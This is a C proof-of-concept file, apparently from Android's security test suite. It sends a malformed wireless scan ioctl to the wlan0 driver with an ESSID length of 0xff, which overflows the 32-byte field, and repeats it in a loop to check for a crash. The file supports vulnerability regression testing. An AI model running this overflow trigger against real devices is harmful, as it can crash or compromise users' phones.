155 lines
4.8 KiB
C
155 lines
4.8 KiB
C
|
|
/**
|
||
|
|
* Copyright (C) 2017 The Android Open Source Project
|
||
|
|
*
|
||
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||
|
|
* you may not use this file except in compliance with the License.
|
||
|
|
* You may obtain a copy of the License at
|
||
|
|
*
|
||
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||
|
|
*
|
||
|
|
* Unless required by applicable law or agreed to in writing, software
|
||
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||
|
|
* See the License for the specific language governing permissions and
|
||
|
|
* limitations under the License.
|
||
|
|
*/
|
||
|
|
#include <android/log.h>
|
||
|
|
#include <dirent.h>
|
||
|
|
#include <dlfcn.h>
|
||
|
|
#include <errno.h>
|
||
|
|
#include <fcntl.h>
|
||
|
|
#include <jni.h>
|
||
|
|
#include <limits.h>
|
||
|
|
#include <net/if.h>
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <string.h>
|
||
|
|
#include <sys/ioctl.h>
|
||
|
|
#include <sys/socket.h>
|
||
|
|
#include <sys/stat.h>
|
||
|
|
#include <sys/types.h>
|
||
|
|
#include <sys/types.h>
|
||
|
|
#include <unistd.h>
|
||
|
|
#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
|
||
|
|
#define AID_NET_RAW 3004 /* can create raw INET sockets */
|
||
|
|
#define AID_NET_ADMIN 3005
|
||
|
|
#define SIOCSIWPRIV 0x8B0C
|
||
|
|
#define SIOCGIWNAME 0x8B01
|
||
|
|
#define SIOCGIWRANGE 0x8B0B
|
||
|
|
#define SIOCSIWSCAN 0x8B18
|
||
|
|
#define SIOCSIWSPY 0x8B10
|
||
|
|
#define IW_ESSID_MAX_SIZE 32
|
||
|
|
#define IW_MAX_FREQUENCIES 32
|
||
|
|
#define SIR_MAC_MAX_SSID_LENGTH 32
|
||
|
|
#define IW_SCAN_THIS_ESSID 0x0002
|
||
|
|
|
||
|
|
typedef int __s32;
|
||
|
|
typedef unsigned char __u8;
|
||
|
|
typedef unsigned short __u16;
|
||
|
|
|
||
|
|
struct iw_param {
|
||
|
|
__s32 value; /* The value of the parameter itself */
|
||
|
|
__u8 fixed; /* Hardware should not use auto select */
|
||
|
|
__u8 disabled; /* Disable the feature */
|
||
|
|
__u16 flags; /* Various specifc flags (if any) */
|
||
|
|
};
|
||
|
|
|
||
|
|
struct iw_point {
|
||
|
|
void *pointer; /* Pointer to the data (in user space) */
|
||
|
|
__u16 length; /* number of fields or size in bytes */
|
||
|
|
__u16 flags; /* Optional params */
|
||
|
|
};
|
||
|
|
|
||
|
|
struct iw_quality {
|
||
|
|
__u8 qual; /* link quality (%retries, SNR,
|
||
|
|
%missed beacons or better...) */
|
||
|
|
__u8 level; /* signal level (dBm) */
|
||
|
|
__u8 noise; /* noise level (dBm) */
|
||
|
|
__u8 updated; /* Flags to know if updated */
|
||
|
|
};
|
||
|
|
|
||
|
|
struct iw_freq {
|
||
|
|
__s32 m; /* Mantissa */
|
||
|
|
__s16 e; /* Exponent */
|
||
|
|
__u8 i; /* List index (when in range struct) */
|
||
|
|
__u8 flags; /* Flags (fixed/auto) */
|
||
|
|
};
|
||
|
|
|
||
|
|
union iwreq_data {
|
||
|
|
/* Config - generic */
|
||
|
|
char name[IFNAMSIZ];
|
||
|
|
/* Name : used to verify the presence of wireless extensions.
|
||
|
|
* Name of the protocol/provider... */
|
||
|
|
struct iw_point essid; /* Extended network name */
|
||
|
|
struct iw_param nwid; /* network id (or domain - the cell) */
|
||
|
|
struct iw_freq freq; /* frequency or channel :
|
||
|
|
* 0-1000 = channel
|
||
|
|
* > 1000 = frequency in Hz */
|
||
|
|
struct iw_param sens; /* signal level threshold */
|
||
|
|
struct iw_param bitrate; /* default bit rate */
|
||
|
|
struct iw_param txpower; /* default transmit power */
|
||
|
|
struct iw_param rts; /* RTS threshold threshold */
|
||
|
|
struct iw_param frag; /* Fragmentation threshold */
|
||
|
|
__u32 mode; /* Operation mode */
|
||
|
|
struct iw_param retry; /* Retry limits & lifetime */
|
||
|
|
struct iw_point encoding; /* Encoding stuff : tokens */
|
||
|
|
struct iw_param power; /* PM duration/timeout */
|
||
|
|
struct iw_quality qual; /* Quality part of statistics */
|
||
|
|
struct sockaddr ap_addr; /* Access point address */
|
||
|
|
struct sockaddr addr; /* Destination address (hw/mac) */
|
||
|
|
struct iw_param param; /* Other small parameters */
|
||
|
|
struct iw_point data; /* Other large parameters */
|
||
|
|
};
|
||
|
|
|
||
|
|
struct iwreq {
|
||
|
|
union {
|
||
|
|
char ifrn_name[IFNAMSIZ];
|
||
|
|
} ifr_ifrn;
|
||
|
|
union iwreq_data u;
|
||
|
|
};
|
||
|
|
|
||
|
|
struct iw_scan_req {
|
||
|
|
__u8 scan_type;
|
||
|
|
__u8 essid_len;
|
||
|
|
__u8 num_channels;
|
||
|
|
__u8 flags;
|
||
|
|
struct sockaddr bssid;
|
||
|
|
__u8 essid[IW_ESSID_MAX_SIZE];
|
||
|
|
__u32 min_channel_time; /* in TU */
|
||
|
|
__u32 max_channel_time; /* in TU */
|
||
|
|
struct iw_freq channel_list[IW_MAX_FREQUENCIES];
|
||
|
|
};
|
||
|
|
|
||
|
|
int main(void) {
|
||
|
|
int fd;
|
||
|
|
int ret = -2;
|
||
|
|
struct iwreq prIwReq;
|
||
|
|
int i = 0;
|
||
|
|
struct iw_scan_req *scan_req;
|
||
|
|
if (getuid() != 0)
|
||
|
|
return -1;
|
||
|
|
gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
|
||
|
|
setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
|
||
|
|
setuid(2000);
|
||
|
|
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||
|
|
if (fd == -1) {
|
||
|
|
perror("[-] socket failed!\n");
|
||
|
|
return -1;
|
||
|
|
}
|
||
|
|
strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
|
||
|
|
prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
|
||
|
|
scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
|
||
|
|
memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
|
||
|
|
scan_req->essid_len = 0xff;
|
||
|
|
prIwReq.u.data.length = sizeof(struct iw_scan_req);
|
||
|
|
prIwReq.u.data.pointer = scan_req;
|
||
|
|
|
||
|
|
prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
|
||
|
|
for (i = 0; i < 0x1000; ++i) {
|
||
|
|
errno = 0;
|
||
|
|
ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
|
||
|
|
printf(" try %d times, %s crashed ? \n", i, strerror(errno));
|
||
|
|
}
|
||
|
|
return 0;
|
||
|
|
}
|